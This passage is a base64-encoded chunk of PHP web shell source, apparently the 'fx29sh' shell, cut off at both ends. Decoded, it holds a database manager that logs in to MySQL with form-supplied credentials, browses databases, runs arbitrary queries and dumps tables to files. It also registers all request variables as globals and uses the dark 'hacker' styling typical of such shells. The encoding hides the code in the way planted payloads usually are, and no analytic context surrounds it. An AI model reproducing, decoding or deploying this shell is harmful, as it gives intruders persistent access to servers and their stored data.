ogIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogIGVsc2Ugewokcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOwokb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwokcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7CiAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgewoka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQokdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwokc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiRvdXQgLj0gJHNxbDsKICB9Cn0KICB9Cn0KICB9CiAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOwogIGlmICgkZmlsZSkgewokZnAgPSBmb3BlbigkZmlsZSwgInciKTsKaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CmVsc2UgewogIGZ3cml0ZSAoJGZwLCAkb3V0KTsKICBmY2xvc2UgKCRmcCk7Cn0KICB9CiAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiAgcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKSB7CiAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9CiAgJHJlc3VsdCA9ICIiOwogIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikgewokdmFsdWUgPSAiIjsKaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30KJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CmlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsKICB9CiAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiAgcmV0dXJuICRyZXN1bHQ7Cn0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgewogIGlmICgkc29jaykgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30KICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAgJGFycmF5ID0gYXJyYXkoKTsKICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30KICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICByZXR1cm4gJGFycmF5Owp9CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHNvY2spIHsKICBpZiAoJHNvY2spIHsgJGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spOyB9CiAgZWxzZSB7ICRlcnJvciA9IG15c3FsX2Vycm9yKCk7IH0KICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7CiAgcmV0dXJuICRlcnJvcjsKfQpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkgewogIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQogIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7CmVjaG8gIjx0YWJsZT48dHI+PHRkPjxmb3JtIG5hbWU9XCJmeDI5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3ggdmFsdWU9cXVlcnk+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwppZiAoJHRibF9zdHJ1Y3QpIHsKICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiKyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5meDI5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQogIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7Cn0KICB9CiAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpIHsKICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQogIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KSB7CiAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOwogICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKICAkdHlwZXMgPSBhcnJheSgKIlNFTEVDVCI9PmFycmF5KDMsMSksCiJTSE9XIj0+YXJyYXkoMiwxKSwKIkRFTEVURSI9PmFycmF5KDEpLAoiRFJPUCI9PmFycmF5KDEpCiAgKTsKICAkcmVzdWx0ID0gYXJyYXkoKTsKICAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsKJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwokcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsKaWYgKCR0eXBlc1skb3BdID09IDIpIHsKICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7CmlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKSB7CiAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwp9CiAgfQp9CiAgfQogIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0KfQpmdW5jdGlvbiBkaXNwX2Vycm9yKCRtc2cpIHsgZWNobyAiPGRpdiBjbGFzcz1lcnJtc2c+JG1zZzwvZGl2PlxuIjsgfQpmdW5jdGlvbiBodG1sX3N0eWxlKCkgewokc3R5bGUgPSAnIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IGEgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSBhOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IH0gaW5wdXRbdHlwZT0idGV4dCJdLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdLCBzZWxlY3R7IGJhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjA7IHBhZGRpbmc6MnB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7IH0gaW5wdXRbdHlwZT0ic3VibWl0Il17IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I2ZmZmZmZjsgbWFyZ2luOjAgNHB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7fSBpbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIsIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdOmhvdmVyLCBzZWxlY3Q6aG92ZXJ7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXRvcDoxcHggc29saWQgIzAwZmYwMDt9IC50YWIgeyB3aWR0aDoxMDAlOyB9IHRoeyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgfSAudHViIHsgd2lkdGg6MTAwJTsgfSAgLnR1YiB0aHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwZmYwMDsgcGFkZGluZzozcHg7fSAudHViIHRyOmhvdmVyeyBiYWNrZ3JvdW5kOiMwMDY0MDA7IH0gLnR1YiB0ZHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsgcGFkZGluZy1sZWZ0OjNweDsgfSAjbWFpbmluZm8geyBwYWRkaW5nOjVweDsgbWFyZ2luLXRvcDoxMHB4OyBtYXJnaW4tbGVmdDoycHg7IG1hcmdpbi1yaWdodDoycHg7IGJhY2tncm91bmQ6IzE5MTkxOTsgfSAjbWFpbmluZm8gYXsgY29sb3I6IzAwZmYwMDsgfSB0ZXh0YXJlYSB7IGJhY2tncm91bmQ6IzAwMDAwMDsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gdGV4dGFyZWE6aG92ZXIgeyBib3JkZXI6MXB4IHNvbGlkICMwMGZmMDA7fSA8L3N0eWxlPjxjZW50ZXI+JzsKcmV0dXJuICRzdHlsZTsKfQokYXV0b19zdXJsID0gVFJVRTsKZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrID0+ICR2KSB7CiAgaWYgKCFpc3NldCgkJGspKSB7ICQkayA9ICR2OyB9Cn0KaWYgKCRhdXRvX3N1cmwpIHsKICAkaW5jbHVkZSA9ICImIjsKICBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikgewokdj0gZXhwbG9kZSgiPSIsJHYpOwokbmFtZT0gdXJsZGVjb2RlKCR2WzBdKTsKJHZhbHVlPSBAdXJsZGVjb2RlKCR2WzFdKTsKJG5lZWRsZXMgPSBhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpOwpmb3JlYWNoICgkbmVlZGxlcyBhcyAkbmVlZGxlKSB7CiAgaWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHsKJGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiOwogIH0gfSB9IH0KaWYgKGVtcHR5KCRzdXJsKSkgeyAkc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoIj8iLkAkaW5jbHVkZXN0cik7IH0KaWYgKCFpc3NldCgkeCkpIHsgJHggPSAic3FsIjsgfQogIGlmICgkeCA9PSAic3FsIikgewogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgewppZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHsgJCR2ID0gJF9HRVRbJHZdOyB9CmlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHsgJCR2ID0gJF9QT1NUWyR2XTsgfQogIH0KICBpZiAoJHNvcnRfc2F2ZSkgewppZiAoIWVtcHR5KCRzb3J0KSkgeyBzZXRjb29raWUoInNvcnQiLCRzb3J0KTsgfQppZiAoIWVtcHR5KCRzcWxfc29ydCkpIHsgc2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTsgfQogIH0KICBpZiAoIWlzc2V0KCRzb3J0KSkgeyAkc29ydCA9ICRzb3J0X2RlZmF1bHQ7IH0KICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7CiAgZWNobyBodG1sX3N0eWxlKCk7CmVjaG8gIjxkaXYgaWQ9J21haW5pbmZvJz4iOwogIGlmICgkeCA9PSAic3FsIikgewogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7CiAgaWYgKCFpc3NldCgkc3FsX2xvZ2luKSkgeyAkc3FsX2xvZ2luID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfcGFzc3dkKSkgeyAkc3FsX3Bhc3N3ZCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3NlcnZlcikpIHsgJHNxbF9zZXJ2ZXIgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9wb3J0KSkgeyAkc3FsX3BvcnQgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF90YmwpKSB7ICRzcWxfdGJsID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfeCkpIHsgJHNxbF94ID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfdGJsX3gpKSB7ICRzcWxfdGJsX3ggPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9vcmRlcikpIHsgJHNxbF9vcmRlciA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3gpKSB7ICRzcWxfeCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX2dldGZpbGUpKSB7ICRzcWxfZ2V0ZmlsZSA9ICIiOyB9CiAgaWYgKEAkc3FsX2xvZ2luKSAgeyAkc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyB9CiAgaWYgKEAkc3FsX3Bhc3N3ZCkgeyAkc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7IH0KICBpZiAoQCRzcWxfc2VydmVyKSB7ICRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgfQogIGlmIChAJHNxbF9wb3J0KXsgJHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7IH0KICBpZiAoQCRzcWxfZGIpIHsgJHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgfQogICRzcWxfc3VybCAuPSAiJiI7CiAgZWNobyAiIjsKICBpZiAoQCRzcWxfc2VydmVyKSB7CiRzcWxfc29jayA9IEBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoJHNxbF9zb2NrKTsKQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CmlmIChAJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgewogICRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOwogICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCRzcWxfc29jayk7Cn0KICB9CiAgZWxzZSB7ICRzcWxfc29jayA9IEZBTFNFOyB9CiAgaWYgKCEkc3FsX3NvY2spIHsKaWYgKCFAJHNxbF9zZXJ2ZXIpIHsgZWNobyAiPGJsaW5rPjxiPjxmb250IHN0eWxlPSBjb2xvcjojZmYwMDAwPk5vIENvbm5lY3Rpb24gISAhICE8L2ZvbnQ+PC9iPjwvYmxpbms+IjsgfQplbHNlIHsgZGlzcF9lcnJvcigiRVJST1I6ICIuJGVycik7IH0KICB9CiAgZWxzZSB7CiNTUUwgUXVpY2tsYXVuY2gKJHNxbHF1aWNrbGF1bmNoPSBhcnJheSgpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciBzdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnZhcnMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9cHJvY2Vzc2VzIik7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7CmVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIFNlcnZlcjogIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7CmlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkgewogIGZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7CmVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwogIH0KICB9CiAgfQplY2hvICI8L2Rpdj4iOwplY2hvICI8Y2VudGVyPjx0YWJsZSBjbGFzcz0ndGFiJz48dHI+IjsKICBpZiAoISRzcWxfc29jaykgewogIGVjaG8gICc8dGQ+Cjxmb3JtIG5hbWU9ImZfc3FsIiBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJwYWRkaW5nOjFweDsiPgo8dHI+PHRoIGNvbHNwYW49IjIiPjxiPk15U1FMIE1hbmFnZXI8L2I+PC90aD48L3RyPgo8dHI+PHRkPkhvc3Q8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrIj48L3RkPjwvdHI+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrOyI+PC90ZD48L3RyPgo8dHI+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siPjwvdGQ+PC90cj4KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiAgY2xhc3M9ImlucHV0eiIgdmFsdWU9IjMzMDYiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgc2l6ZT0iNiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHN0eWxlPWNvbG9yOiRjb2xvciB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+JzsKICB9CiAgZWxzZSB7CiAgZWNobyAgJzx0ZCB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMzsiPgo8Y2VudGVyPgo8YSBocmVmPSInLiRzcWxfc3VybC4nIj48YiBzdHlsZT0iY29sb3I6IzAwZmYwMDsiPkhPTUU8L2I+PC9hPgo8aHIgc2l6ZT0iMSIgbm9zaGFkZT4nOwogICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogIGlmICghJHJlc3VsdCkgeyBlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTsgfQogIGVsc2UgewogIGVjaG8gICc8Zm9ybSBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8c2VsZWN0IG5hbWU9InNxbF9kYiIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nOwokYyA9IDA7CiRkYnMgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHsKICAkZGJzIC49ICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOwogIGlmIChAJHNxbF9kYiA9PSAkcm93WzBdKSB7ICRkYnMgLj0gIiBzZWxlY3RlZCI7IH0KICAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj5cbiI7CiAgJGMrKzsKfQplY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPlxuIjsKZWNobyAkZGJzOwogIH0KZWNobyAnPC9zZWxlY3Q+CjxociBzaXplPSIxIiBub3NoYWRlPgo8L2Zvcm0+CjwvY2VudGVyPic7CmlmIChpc3NldCgkc3FsX2RiKSkgewogICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsKICBpZiAoISRyZXN1bHQpIHsgCiRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwokbnVtID0gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CmZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CiRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRyZXN1bHQsICRpICk7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndGFiJz48dGQgc3R5bGU9J2JhY2tncm91bmQ6IzNGM0YzRjtib3JkZXI6MXB4IHNvbGlkICMyMDIwMjA7Ym9yZGVyLXRvcDogMXB4IHNvbGlkICM1MDUwNTA7Ym9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNTA1MDUwOyc+PGI+KyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLiRkYm5hbWUuIlwiPiRkYm5hbWU8L2E+PC9iPjwvdGQ+PC90YWJsZT4iOyB9IH0KICBlbHNlIHsKZWNobyAiX